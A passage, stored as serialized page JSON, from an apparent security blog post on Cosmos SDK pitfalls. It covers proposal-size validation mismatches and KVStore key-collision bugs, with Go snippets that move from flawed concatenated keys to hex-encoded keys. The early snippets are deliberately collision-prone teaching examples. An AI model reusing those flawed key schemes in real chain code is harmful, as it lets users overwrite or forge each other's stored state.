commit\"",{"type":24,"tag":271,"props":91616,"children":91617},{"style":288},[91618],{"type":29,"value":158},{"type":24,"tag":271,"props":91620,"children":91621},{"style":378},[91622],{"type":29,"value":91623},"\"height\"",{"type":24,"tag":271,"props":91625,"children":91626},{"style":288},[91627],{"type":29,"value":158},{"type":24,"tag":271,"props":91629,"children":91630},{"style":630},[91631],{"type":29,"value":90939},{"type":24,"tag":271,"props":91633,"children":91634},{"style":288},[91635],{"type":29,"value":41},{"type":24,"tag":271,"props":91637,"children":91638},{"style":630},[91639],{"type":29,"value":90269},{"type":24,"tag":271,"props":91641,"children":91642},{"style":288},[91643],{"type":29,"value":694},{"type":24,"tag":271,"props":91645,"children":91646},{"class":273,"line":483},[91647],{"type":24,"tag":271,"props":91648,"children":91649},{"style":288},[91650],{"type":29,"value":7574},{"type":24,"tag":271,"props":91652,"children":91653},{"class":273,"line":491},[91654,91658,91662,91666,91670,91674],{"type":24,"tag":271,"props":91655,"children":91656},{"style":749},[91657],{"type":29,"value":8905},{"type":24,"tag":271,"props":91659,"children":91660},{"style":624},[91661],{"type":29,"value":14858},{"type":24,"tag":271,"props":91663,"children":91664},{"style":3887},[91665],{"type":29,"value":90948},{"type":24,"tag":271,"props":91667,"children":91668},{"style":288},[91669],{"type":29,"value":41},{"type":24,"tag":271,"props":91671,"children":91672},{"style":3887},[91673],{"type":29,"value":90978},{"type":24,"tag":271,"props":91675,"children":91676},{"style":288},[91677],{"type":29,"value":702},{"type":24,"tag":271,"props":91679,"children":91680},{"class":273,"line":499},[91681,91686,91690,91694],{"type":24,"tag":271,"props":91682,"children":91683},{"style":630},[91684],{"type":29,"value":91685}," Txs",{"type":24,"tag":271,"props":91687,"children":91688},{"style":288},[91689],{"type":29,"value":23028},{"type":24,"tag":271,"props":91691,"children":91692},{"style":630},[91693],{"type":29,"value":91573},{"type":24,"tag":271,"props":91695,"children":91696},{"style":288},[91697],{"type":29,"value":638},{"type":24,"tag":271,"props":91699,"children":91700},{"class":273,"line":3188},[91701,91706],{"type":24,"tag":271,"props":91702,"children":91703},{"style":288},[91704],{"type":29,"value":91705}," }, ",{"type":24,"tag":271,"props":91707,"children":91708},{"style":278},[91709],{"type":29,"value":83432},{"type":24,"tag":271,"props":91711,"children":91712},{"class":273,"line":3247},[91713],{"type":24,"tag":271,"props":91714,"children":91715},{"style":288},[91716],{"type":29,"value":4385},{"type":24,"tag":271,"props":91718,"children":91719},{"class":273,"line":3255},[91720],{"type":24,"tag":271,"props":91721,"children":91722},{"style":288},[91723],{"type":29,"value":1171},{"type":24,"tag":25,"props":91725,"children":91726},{},[91727,91729,91734,91735,91740,91742,91749],{"type":29,"value":91728},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":24,"tag":135,"props":91730,"children":91732},{"className":91731},[],[91733],{"type":29,"value":90098},{"type":29,"value":1357},{"type":24,"tag":135,"props":91736,"children":91738},{"className":91737},[],[91739],{"type":29,"value":90166},{"type":29,"value":91741},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":24,"tag":32,"props":91743,"children":91746},{"href":91744,"rel":91745},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[36],[91747],{"type":29,"value":91748},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":29,"value":91750},", which will later get rejected by CometBTF.",{"type":24,"tag":62,"props":91752,"children":91754},{"id":91753},"the-keymaker",[91755],{"type":29,"value":91756},"The Keymaker",{"type":24,"tag":25,"props":91758,"children":91759},{},[91760,91762,91768,91770,91775],{"type":29,"value":91761},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":24,"tag":135,"props":91763,"children":91765},{"className":91764},[],[91766],{"type":29,"value":91767},"KVStore",{"type":29,"value":91769}," to handle states efficently. In ",{"type":24,"tag":135,"props":91771,"children":91773},{"className":91772},[],[91774],{"type":29,"value":91767},{"type":29,"value":91776},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":24,"tag":25,"props":91778,"children":91779},{},[91780],{"type":29,"value":91781},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":24,"tag":25,"props":91783,"children":91784},{},[91785,91787,91793],{"type":29,"value":91786},"Let's start by considering a scenario where we need to store the ",{"type":24,"tag":135,"props":91788,"children":91790},{"className":91789},[],[91791],{"type":29,"value":91792},"positionMap",{"type":29,"value":91794}," structure mentioned below into storage.",{"type":24,"tag":261,"props":91796,"children":91798},{"code":91797,"language":82954,"meta":7,"className":82955,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n data []byte\n}\ntype PositionMap :=\n map[VaultId]map[Username]map[PositionName]Position\n",[91799],{"type":24,"tag":135,"props":91800,"children":91801},{"__ignoreMap":7},[91802,91818,91835,91851,91870,91885,91892,91909],{"type":24,"tag":271,"props":91803,"children":91804},{"class":273,"line":274},[91805,91809,91814],{"type":24,"tag":271,"props":91806,"children":91807},{"style":278},[91808],{"type":29,"value":40427},{"type":24,"tag":271,"props":91810,"children":91811},{"style":3887},[91812],{"type":29,"value":91813}," VaultId",{"type":24,"tag":271,"props":91815,"children":91816},{"style":3887},[91817],{"type":29,"value":82992},{"type":24,"tag":271,"props":91819,"children":91820},{"class":273,"line":284},[91821,91825,91830],{"type":24,"tag":271,"props":91822,"children":91823},{"style":278},[91824],{"type":29,"value":40427},{"type":24,"tag":271,"props":91826,"children":91827},{"style":3887},[91828],{"type":29,"value":91829}," Username",{"type":24,"tag":271,"props":91831,"children":91832},{"style":3887},[91833],{"type":29,"value":91834}," string\n",{"type":24,"tag":271,"props":91836,"children":91837},{"class":273,"line":294},[91838,91842,91847],{"type":24,"tag":271,"props":91839,"children":91840},{"style":278},[91841],{"type":29,"value":40427},{"type":24,"tag":271,"props":91843,"children":91844},{"style":3887},[91845],{"type":29,"value":91846}," PositionName",{"type":24,"tag":271,"props":91848,"children":91849},{"style":3887},[91850],{"type":29,"value":91834},{"type":24,"tag":271,"props":91852,"children":91853},{"class":273,"line":303},[91854,91858,91862,91866],{"type":24,"tag":271,"props":91855,"children":91856},{"style":278},[91857],{"type":29,"value":40427},{"type":24,"tag":271,"props":91859,"children":91860},{"style":3887},[91861],{"type":29,"value":15141},{"type":24,"tag":271,"props":91863,"children":91864},{"style":278},[91865],{"type":29,"value":616},{"type":24,"tag":271,"props":91867,"children":91868},{"style":288},[91869],{"type":29,"value":7145},{"type":24,"tag":271,"props":91871,"children":91872},{"class":273,"line":312},[91873,91877,91881],{"type":24,"tag":271,"props":91874,"children":91875},{"style":630},[91876],{"type":29,"value":50897},{"type":24,"tag":271,"props":91878,"children":91879},{"style":288},[91880],{"type":29,"value":83017},{"type":24,"tag":271,"props":91882,"children":91883},{"style":3887},[91884],{"type":29,"value":91018},{"type":24,"tag":271,"props":91886,"children":91887},{"class":273,"line":321},[91888],{"type":24,"tag":271,"props":91889,"children":91890},{"style":288},[91891],{"type":29,"value":1171},{"type":24,"tag":271,"props":91893,"children":91894},{"class":273,"line":330},[91895,91899,91904],{"type":24,"tag":271,"props":91896,"children":91897},{"style":278},[91898],{"type":29,"value":40427},{"type":24,"tag":271,"props":91900,"children":91901},{"style":3887},[91902],{"type":29,"value":91903}," PositionMap",{"type":24,"tag":271,"props":91905,"children":91906},{"style":624},[91907],{"type":29,"value":91908}," :=\n",{"type":24,"tag":271,"props":91910,"children":91911},{"class":273,"line":339},[91912,91917,91921,91926,91930,91934,91938,91943,91947,91951,91955,91960,91964],{"type":24,"tag":271,"props":91913,"children":91914},{"style":278},[91915],{"type":29,"value":91916}," map",{"type":24,"tag":271,"props":91918,"children":91919},{"style":288},[91920],{"type":29,"value":4520},{"type":24,"tag":271,"props":91922,"children":91923},{"style":3887},[91924],{"type":29,"value":91925},"VaultId",{"type":24,"tag":271,"props":91927,"children":91928},{"style":288},[91929],{"type":29,"value":23108},{"type":24,"tag":271,"props":91931,"children":91932},{"style":278},[91933],{"type":29,"value":73889},{"type":24,"tag":271,"props":91935,"children":91936},{"style":288},[91937],{"type":29,"value":4520},{"type":24,"tag":271,"props":91939,"children":91940},{"style":3887},[91941],{"type":29,"value":91942},"Username",{"type":24,"tag":271,"props":91944,"children":91945},{"style":288},[91946],{"type":29,"value":23108},{"type":24,"tag":271,"props":91948,"children":91949},{"style":278},[91950],{"type":29,"value":73889},{"type":24,"tag":271,"props":91952,"children":91953},{"style":288},[91954],{"type":29,"value":4520},{"type":24,"tag":271,"props":91956,"children":91957},{"style":3887},[91958],{"type":29,"value":91959},"PositionName",{"type":24,"tag":271,"props":91961,"children":91962},{"style":288},[91963],{"type":29,"value":23108},{"type":24,"tag":271,"props":91965,"children":91966},{"style":3887},[91967],{"type":29,"value":91968},"Position\n",{"type":24,"tag":25,"props":91970,"children":91971},{},[91972,91974,91980],{"type":29,"value":91973},"Given that there are two levels of keys in ",{"type":24,"tag":135,"props":91975,"children":91977},{"className":91976},[],[91978],{"type":29,"value":91979},"PositionMap",{"type":29,"value":91981},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":24,"tag":261,"props":91983,"children":91985},{"code":91984,"language":82954,"meta":7,"className":82955,"style":7},"storageKey := fmt.Sprintf(\n \"%d%s%s\",\n vaultId,\n username,\n positionName,\n)\n",[91986],{"type":24,"tag":135,"props":91987,"children":91988},{"__ignoreMap":7},[91989,92018,92030,92042,92054,92066],{"type":24,"tag":271,"props":91990,"children":91991},{"class":273,"line":274},[91992,91997,92001,92005,92009,92014],{"type":24,"tag":271,"props":91993,"children":91994},{"style":630},[91995],{"type":29,"value":91996},"storageKey",{"type":24,"tag":271,"props":91998,"children":91999},{"style":624},[92000],{"type":29,"value":83206},{"type":24,"tag":271,"props":92002,"children":92003},{"style":630},[92004],{"type":29,"value":89024},{"type":24,"tag":271,"props":92006,"children":92007},{"style":288},[92008],{"type":29,"value":41},{"type":24,"tag":271,"props":92010,"children":92011},{"style":598},[92012],{"type":29,"value":92013},"Sprintf",{"type":24,"tag":271,"props":92015,"children":92016},{"style":288},[92017],{"type":29,"value":4028},{"type":24,"tag":271,"props":92019,"children":92020},{"class":273,"line":284},[92021,92026],{"type":24,"tag":271,"props":92022,"children":92023},{"style":378},[92024],{"type":29,"value":92025}," \"%d%s%s\"",{"type":24,"tag":271,"props":92027,"children":92028},{"style":288},[92029],{"type":29,"value":638},{"type":24,"tag":271,"props":92031,"children":92032},{"class":273,"line":294},[92033,92038],{"type":24,"tag":271,"props":92034,"children":92035},{"style":630},[92036],{"type":29,"value":92037}," vaultId",{"type":24,"tag":271,"props":92039,"children":92040},{"style":288},[92041],{"type":29,"value":638},{"type":24,"tag":271,"props":92043,"children":92044},{"class":273,"line":303},[92045,92050],{"type":24,"tag":271,"props":92046,"children":92047},{"style":630},[92048],{"type":29,"value":92049}," username",{"type":24,"tag":271,"props":92051,"children":92052},{"style":288},[92053],{"type":29,"value":638},{"type":24,"tag":271,"props":92055,"children":92056},{"class":273,"line":312},[92057,92062],{"type":24,"tag":271,"props":92058,"children":92059},{"style":630},[92060],{"type":29,"value":92061}," positionName",{"type":24,"tag":271,"props":92063,"children":92064},{"style":288},[92065],{"type":29,"value":638},{"type":24,"tag":271,"props":92067,"children":92068},{"class":273,"line":321},[92069],{"type":24,"tag":271,"props":92070,"children":92071},{"style":288},[92072],{"type":29,"value":694},{"type":24,"tag":25,"props":92074,"children":92075},{},[92076],{"type":29,"value":92077},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":24,"tag":261,"props":92079,"children":92081},{"code":92080},"vaultId = 1, username = \"2a\", positionName = \"b\"\n => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\", positionName = \"b\"\n => storageKey = \"12ab\"\n",[92082],{"type":24,"tag":135,"props":92083,"children":92084},{"__ignoreMap":7},[92085],{"type":29,"value":92080},{"type":24,"tag":25,"props":92087,"children":92088},{},[92089,92094],{"type":24,"tag":10648,"props":92090,"children":92091},{},[92092],{"type":29,"value":92093},"So, how can we mitigate this issue?",{"type":29,"value":92095},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":24,"tag":261,"props":92097,"children":92099},{"code":92098,"language":82954,"meta":7,"className":82955,"style":7},"const (\n Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n username,\n Seperator,\n positionName,\n)\n",[92100],{"type":24,"tag":135,"props":92101,"children":92102},{"__ignoreMap":7},[92103,92114,92131,92138,92145,92172,92184,92195,92206,92217,92228,92239],{"type":24,"tag":271,"props":92104,"children":92105},{"class":273,"line":274},[92106,92110],{"type":24,"tag":271,"props":92107,"children":92108},{"style":278},[92109],{"type":29,"value":611},{"type":24,"tag":271,"props":92111,"children":92112},{"style":288},[92113],{"type":29,"value":85356},{"type":24,"tag":271,"props":92115,"children":92116},{"class":273,"line":284},[92117,92122,92126],{"type":24,"tag":271,"props":92118,"children":92119},{"style":630},[92120],{"type":29,"value":92121}," Seperator",{"type":24,"tag":271,"props":92123,"children":92124},{"style":624},[92125],{"type":29,"value":1712},{"type":24,"tag":271,"props":92127,"children":92128},{"style":378},[92129],{"type":29,"value":92130}," \"|\"\n",{"type":24,"tag":271,"props":92132,"children":92133},{"class":273,"line":294},[92134],{"type":24,"tag":271,"props":92135,"children":92136},{"style":288},[92137],{"type":29,"value":694},{"type":24,"tag":271,"props":92139,"children":92140},{"class":273,"line":303},[92141],{"type":24,"tag":271,"props":92142,"children":92143},{"emptyLinePlaceholder":16},[92144],{"type":29,"value":327},{"type":24,"tag":271,"props":92146,"children":92147},{"class":273,"line":312},[92148,92152,92156,92160,92164,92168],{"type":24,"tag":271,"props":92149,"children":92150},{"style":630},[92151],{"type":29,"value":91996},{"type":24,"tag":271,"props":92153,"children":92154},{"style":624},[92155],{"type":29,"value":83206},{"type":24,"tag":271,"props":92157,"children":92158},{"style":630},[92159],{"type":29,"value":89024},{"type":24,"tag":271,"props":92161,"children":92162},{"style":288},[92163],{"type":29,"value":41},{"type":24,"tag":271,"props":92165,"children":92166},{"style":598},[92167],{"type":29,"value":92013},{"type":24,"tag":271,"props":92169,"children":92170},{"style":288},[92171],{"type":29,"value":4028},{"type":24,"tag":271,"props":92173,"children":92174},{"class":273,"line":321},[92175,92180],{"type":24,"tag":271,"props":92176,"children":92177},{"style":378},[92178],{"type":29,"value":92179}," \"%d%s%s%s%s\"",{"type":24,"tag":271,"props":92181,"children":92182},{"style":288},[92183],{"type":29,"value":638},{"type":24,"tag":271,"props":92185,"children":92186},{"class":273,"line":330},[92187,92191],{"type":24,"tag":271,"props":92188,"children":92189},{"style":630},[92190],{"type":29,"value":92037},{"type":24,"tag":271,"props":92192,"children":92193},{"style":288},[92194],{"type":29,"value":638},{"type":24,"tag":271,"props":92196,"children":92197},{"class":273,"line":339},[92198,92202],{"type":24,"tag":271,"props":92199,"children":92200},{"style":630},[92201],{"type":29,"value":92121},{"type":24,"tag":271,"props":92203,"children":92204},{"style":288},[92205],{"type":29,"value":638},{"type":24,"tag":271,"props":92207,"children":92208},{"class":273,"line":347},[92209,92213],{"type":24,"tag":271,"props":92210,"children":92211},{"style":630},[92212],{"type":29,"value":92049},{"type":24,"tag":271,"props":92214,"children":92215},{"style":288},[92216],{"type":29,"value":638},{"type":24,"tag":271,"props":92218,"children":92219},{"class":273,"line":356},[92220,92224],{"type":24,"tag":271,"props":92221,"children":92222},{"style":630},[92223],{"type":29,"value":92121},{"type":24,"tag":271,"props":92225,"children":92226},{"style":288},[92227],{"type":29,"value":638},{"type":24,"tag":271,"props":92229,"children":92230},{"class":273,"line":365},[92231,92235],{"type":24,"tag":271,"props":92232,"children":92233},{"style":630},[92234],{"type":29,"value":92061},{"type":24,"tag":271,"props":92236,"children":92237},{"style":288},[92238],{"type":29,"value":638},{"type":24,"tag":271,"props":92240,"children":92241},{"class":273,"line":374},[92242],{"type":24,"tag":271,"props":92243,"children":92244},{"style":288},[92245],{"type":29,"value":694},{"type":24,"tag":25,"props":92247,"children":92248},{},[92249],{"type":29,"value":92250},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":24,"tag":25,"props":92252,"children":92253},{},[92254,92256,92262,92263,92269],{"type":29,"value":92255},"Sadly, it doesn't. Since the ",{"type":24,"tag":135,"props":92257,"children":92259},{"className":92258},[],[92260],{"type":29,"value":92261},"username",{"type":29,"value":518},{"type":24,"tag":135,"props":92264,"children":92266},{"className":92265},[],[92267],{"type":29,"value":92268},"vaultName",{"type":29,"value":92270}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":24,"tag":261,"props":92272,"children":92274},{"code":92273},"vaultId = 1, username = \"a|\", positionName = \"b\"\n => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\", positionName = \"|b\"\n => storageKey = \"1|a||b\"\n",[92275],{"type":24,"tag":135,"props":92276,"children":92277},{"__ignoreMap":7},[92278],{"type":29,"value":92273},{"type":24,"tag":25,"props":92280,"children":92281},{},[92282],{"type":29,"value":92283},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":24,"tag":261,"props":92285,"children":92287},{"code":92286,"language":82954,"meta":7,"className":82955,"style":7},"const (\n Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded\n)\n",[92288],{"type":24,"tag":135,"props":92289,"children":92290},{"__ignoreMap":7},[92291,92302,92317,92324,92331,92338,92359,92375,92413,92420,92457,92464,92484,92499,92535,92542,92577,92584,92611,92622,92633,92644,92656,92667,92675],{"type":24,"tag":271,"props":92292,"children":92293},{"class":273,"line":274},[92294,92298],{"type":24,"tag":271,"props":92295,"children":92296},{"style":278},[92297],{"type":29,"value":611},{"type":24,"tag":271,"props":92299,"children":92300},{"style":288},[92301],{"type":29,"value":85356},{"type":24,"tag":271,"props":92303,"children":92304},{"class":273,"line":284},[92305,92309,92313],{"type":24,"tag":271,"props":92306,"children":92307},{"style":630},[92308],{"type":29,"value":92121},{"type":24,"tag":271,"props":92310,"children":92311},{"style":624},[92312],{"type":29,"value":1712},{"type":24,"tag":271,"props":92314,"children":92315},{"style":378},[92316],{"type":29,"value":92130},{"type":24,"tag":271,"props":92318,"children":92319},{"class":273,"line":294},[92320],{"type":24,"tag":271,"props":92321,"children":92322},{"style":288},[92323],{"type":29,"value":694},{"type":24,"tag":271,"props":92325,"children":92326},{"class":273,"line":303},[92327],{"type":24,"tag":271,"props":92328,"children":92329},{"emptyLinePlaceholder":16},[92330],{"type":29,"value":327},{"type":24,"tag":271,"props":92332,"children":92333},{"class":273,"line":312},[92334],{"type":24,"tag":271,"props":92335,"children":92336},{"emptyLinePlaceholder":16},[92337],{"type":29,"value":327},{"type":24,"tag":271,"props":92339,"children":92340},{"class":273,"line":321},[92341,92346,92350,92355],{"type":24,"tag":271,"props":92342,"children":92343},{"style":630},[92344],{"type":29,"value":92345},"usernameEncoded",{"type":24,"tag":271,"props":92347,"children":92348},{"style":624},[92349],{"type":29,"value":83206},{"type":24,"tag":271,"props":92351,"children":92352},{"style":598},[92353],{"type":29,"value":92354}," make",{"type":24,"tag":271,"props":92356,"children":92357},{"style":288},[92358],{"type":29,"value":4028},{"type":24,"tag":271,"props":92360,"children":92361},{"class":273,"line":330},[92362,92367,92371],{"type":24,"tag":271,"props":92363,"children":92364},{"style":288},[92365],{"type":29,"value":92366}," []",{"type":24,"tag":271,"props":92368,"children":92369},{"style":3887},[92370],{"type":29,"value":91555},{"type":24,"tag":271,"props":92372,"children":92373},{"style":288},[92374],{"type":29,"value":638},{"type":24,"tag":271,"props":92376,"children":92377},{"class":273,"line":339},[92378,92383,92387,92392,92396,92400,92404,92408],{"type":24,"tag":271,"props":92379,"children":92380},{"style":630},[92381],{"type":29,"value":92382}," hex",{"type":24,"tag":271,"props":92384,"children":92385},{"style":288},[92386],{"type":29,"value":41},{"type":24,"tag":271,"props":92388,"children":92389},{"style":598},[92390],{"type":29,"value":92391},"EncodedLen",{"type":24,"tag":271,"props":92393,"children":92394},{"style":288},[92395],{"type":29,"value":606},{"type":24,"tag":271,"props":92397,"children":92398},{"style":598},[92399],{"type":29,"value":8335},{"type":24,"tag":271,"props":92401,"children":92402},{"style":288},[92403],{"type":29,"value":606},{"type":24,"tag":271,"props":92405,"children":92406},{"style":630},[92407],{"type":29,"value":92261},{"type":24,"tag":271,"props":92409,"children":92410},{"style":288},[92411],{"type":29,"value":92412},")),\n",{"type":24,"tag":271,"props":92414,"children":92415},{"class":273,"line":347},[92416],{"type":24,"tag":271,"props":92417,"children":92418},{"style":288},[92419],{"type":29,"value":694},{"type":24,"tag":271,"props":92421,"children":92422},{"class":273,"line":356},[92423,92428,92432,92437,92441,92445,92449,92453],{"type":24,"tag":271,"props":92424,"children":92425},{"style":630},[92426],{"type":29,"value":92427},"hex",{"type":24,"tag":271,"props":92429,"children":92430},{"style":288},[92431],{"type":29,"value":41},{"type":24,"tag":271,"props":92433,"children":92434},{"style":598},[92435],{"type":29,"value":92436},"Encode",{"type":24,"tag":271,"props":92438,"children":92439},{"style":288},[92440],{"type":29,"value":606},{"type":24,"tag":271,"props":92442,"children":92443},{"style":630},[92444],{"type":29,"value":92345},{"type":24,"tag":271,"props":92446,"children":92447},{"style":288},[92448],{"type":29,"value":158},{"type":24,"tag":271,"props":92450,"children":92451},{"style":630},[92452],{"type":29,"value":92261},{"type":24,"tag":271,"props":92454,"children":92455},{"style":288},[92456],{"type":29,"value":694},{"type":24,"tag":271,"props":92458,"children":92459},{"class":273,"line":365},[92460],{"type":24,"tag":271,"props":92461,"children":92462},{"emptyLinePlaceholder":16},[92463],{"type":29,"value":327},{"type":24,"tag":271,"props":92465,"children":92466},{"class":273,"line":374},[92467,92472,92476,92480],{"type":24,"tag":271,"props":92468,"children":92469},{"style":630},[92470],{"type":29,"value":92471},"positionNameEncoded",{"type":24,"tag":271,"props":92473,"children":92474},{"style":624},[92475],{"type":29,"value":83206},{"type":24,"tag":271,"props":92477,"children":92478},{"style":598},[92479],{"type":29,"value":92354},{"type":24,"tag":271,"props":92481,"children":92482},{"style":288},[92483],{"type":29,"value":4028},{"type":24,"tag":271,"props":92485,"children":92486},{"class":273,"line":384},[92487,92491,92495],{"type":24,"tag":271,"props":92488,"children":92489},{"style":288},[92490],{"type":29,"value":92366},{"type":24,"tag":271,"props":92492,"children":92493},{"style":3887},[92494],{"type":29,"value":91555},{"type":24,"tag":271,"props":92496,"children":92497},{"style":288},[92498],{"type":29,"value":638},{"type":24,"tag":271,"props":92500,"children":92501},{"class":273,"line":393},[92502,92506,92510,92514,92518,92522,92526,92531],{"type":24,"tag":271,"props":92503,"children":92504},{"style":630},[92505],{"type":29,"value":92382},{"type":24,"tag":271,"props":92507,"children":92508},{"style":288},[92509],{"type":29,"value":41},{"type":24,"tag":271,"props":92511,"children":92512},{"style":598},[92513],{"type":29,"value":92391},{"type":24,"tag":271,"props":92515,"children":92516},{"style":288},[92517],{"type":29,"value":606},{"type":24,"tag":271,"props":92519,"children":92520},{"style":598},[92521],{"type":29,"value":8335},{"type":24,"tag":271,"props":92523,"children":92524},{"style":288},[92525],{"type":29,"value":606},{"type":24,"tag":271,"props":92527,"children":92528},{"style":630},[92529],{"type":29,"value":92530},"positionName",{"type":24,"tag":271,"props":92532,"children":92533},{"style":288},[92534],{"type":29,"value":92412},{"type":24,"tag":271,"props":92536,"children":92537},{"class":273,"line":402},[92538],{"type":24,"tag":271,"props":92539,"children":92540},{"style":288},[92541],{"type":29,"value":694},{"type":24,"tag":271,"props":92543,"children":92544},{"class":273,"line":411},[92545,92549,92553,92557,92561,92565,92569,92573],{"type":24,"tag":271,"props":92546,"children":92547},{"style":630},[92548],{"type":29,"value":92427},{"type":24,"tag":271,"props":92550,"children":92551},{"style":288},[92552],{"type":29,"value":41},{"type":24,"tag":271,"props":92554,"children":92555},{"style":598},[92556],{"type":29,"value":92436},{"type":24,"tag":271,"props":92558,"children":92559},{"style":288},[92560],{"type":29,"value":606},{"type":24,"tag":271,"props":92562,"children":92563},{"style":630},[92564],{"type":29,"value":92471},{"type":24,"tag":271,"props":92566,"children":92567},{"style":288},[92568],{"type":29,"value":158},{"type":24,"tag":271,"props":92570,"children":92571},{"style":630},[92572],{"type":29,"value":92530},{"type":24,"tag":271,"props":92574,"children":92575},{"style":288},[92576],{"type":29,"value":694},{"type":24,"tag":271,"props":92578,"children":92579},{"class":273,"line":420},[92580],{"type":24,"tag":271,"props":92581,"children":92582},{"emptyLinePlaceholder":16},[92583],{"type":29,"value":327},{"type":24,"tag":271,"props":92585,"children":92586},{"class":273,"line":429},[92587,92591,92595,92599,92603,92607],{"type":24,"tag":271,"props":92588,"children":92589},{"style":630},[92590],{"type":29,"value":91996},{"type":24,"tag":271,"props":92592,"children":92593},{"style":624},[92594],{"type":29,"value":83206},{"type":24,"tag":271,"props":92596,"children":92597},{"style":630},[92598],{"type":29,"value":89024},{"type":24,"tag":271,"props":92600,"children":92601},{"style":288},[92602],{"type":29,"value":41},{"type":24,"tag":271,"props":92604,"children":92605},{"style":598},[92606],{"type":29,"value":92013},{"type":24,"tag":271,"props":92608,"children":92609},{"style":288},[92610],{"type":29,"value":4028},{"type":24,"tag":271,"props":92612,"children":92613},{"class":273,"line":438},[92614,92618],{"type":24,"tag":271,"props":92615,"children":92616},{"style":378},[92617],{"type":29,"value":92179},{"type":24,"tag":271,"props":92619,"children":92620},{"style":288},[92621],{"type":29,"value":638},{"type":24,"tag":271,"props":92623,"children":92624},{"class":273,"line":447},[92625,92629],{"type":24,"tag":271,"props":92626,"children":92627},{"style":630},[92628],{"type":29,"value":92037},{"type":24,"tag":271,"props":92630,"children":92631},{"style":288},[92632],{"type":29,"value":638},{"type":24,"tag":271,"props":92634,"children":92635},{"class":273,"line":455},[92636,92640],{"type":24,"tag":271,"props":92637,"children":92638},{"style":630},[92639],{"type":29,"value":92121},{"type":24,"tag":271,"props":92641,"children":92642},{"style":288},[92643],{"type":29,"value":638},{"type":24,"tag":271,"props":92645,"children":92646},{"class":273,"line":464},[92647,92652],{"type":24,"tag":271,"props":92648,"children":92649},{"style":630},[92650],{"type":29,"value":92651}," usernameEncoded",{"type":24,"tag":271,"props":92653,"children":92654},{"style":288},[92655],{"type":29,"value":638},{"type":24,"tag":271,"props":92657,"children":92658},{"class":273,"line":473},[92659,92663],{"type":24,"tag":271,"props":92660,"children":92661},{"style":630},[92662],{"type":29,"value":92121},{"type":24,"tag":271,"props":92664,"children":92665},{"style":288},[92666],{"type":29,"value":638},{"type":24,"tag":271,"props":92668,"children":92669},{"class":273,"line":483},[92670],{"type":24,"tag":271,"props":92671,"children":92672},{"style":630},[92673],{"type":29,"value":92674}," positionNameEncoded\n",{"type":24,"tag":271,"props":92676,"children":92677},{"class":273,"line":491},[92678],{"type":24,"tag":271,"props":92679,"children":92680},{"style":288},[92681],{"type":29,"value":694},{"type":24,"tag":25,"props":92683,"children":92684},{},[92685,92687,92692],{"type":29,"value":92686},"We did it. We finally eliminated all potential ",{"type":24,"tag":135,"props":92688,"children":92690},{"className":92689},[],[92691],{"type":29,"value":91996},{"type":29,"value":92693}," collisions.",{"type":24,"tag":25,"props":92695,"children":92696},{},[92697],{"type":29,"value":92698},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":24,"tag":25,"props":92700,"children":92701},{},[92702,92704,92710,92712,92717,92719,92724,92726,92731,92733,92739],{"type":29,"value":92703},"In the Cosmos framework, it is common for each ",{"type":24,"tag":135,"props":92705,"children":92707},{"className":92706},[],[92708],{"type":29,"value":92709},"Module",{"type":29,"value":92711}," to own a few ",{"type":24,"tag":135,"props":92713,"children":92715},{"className":92714},[],[92716],{"type":29,"value":91767},{"type":29,"value":92718}," and have individual ",{"type":24,"tag":135,"props":92720,"children":92722},{"className":92721},[],[92723],{"type":29,"value":86735},{"type":29,"value":92725},"s managing access to storages. It's also important to note that each ",{"type":24,"tag":135,"props":92727,"children":92729},{"className":92728},[],[92730],{"type":29,"value":91767},{"type":29,"value":92732}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":24,"tag":135,"props":92734,"children":92736},{"className":92735},[],[92737],{"type":29,"value":92738},"Modules",{"type":29,"value":41},{"type":24,"tag":25,"props":92741,"children":92742},{},[92743,92745,92750],{"type":29,"value":92744},"With that being said, what if we have to maintain more than one structure within the same ",{"type":24,"tag":135,"props":92746,"children":92748},{"className":92747},[],[92749],{"type":29,"value":91767},{"type":29,"value":10887},{"type":24,"tag":25,"props":92752,"children":92753},{},[92754,92756,92762,92764,92769],{"type":29,"value":92755},"To demonstrate this scenario, we introduce the ",{"type":24,"tag":135,"props":92757,"children":92759},{"className":92758},[],[92760],{"type":29,"value":92761},"NameToAddressMap",{"type":29,"value":92763}," structure, which will be stored in the same ",{"type":24,"tag":135,"props":92765,"children":92767},{"className":92766},[],[92768],{"type":29,"value":91767},{"type":29,"value":92770}," we previously 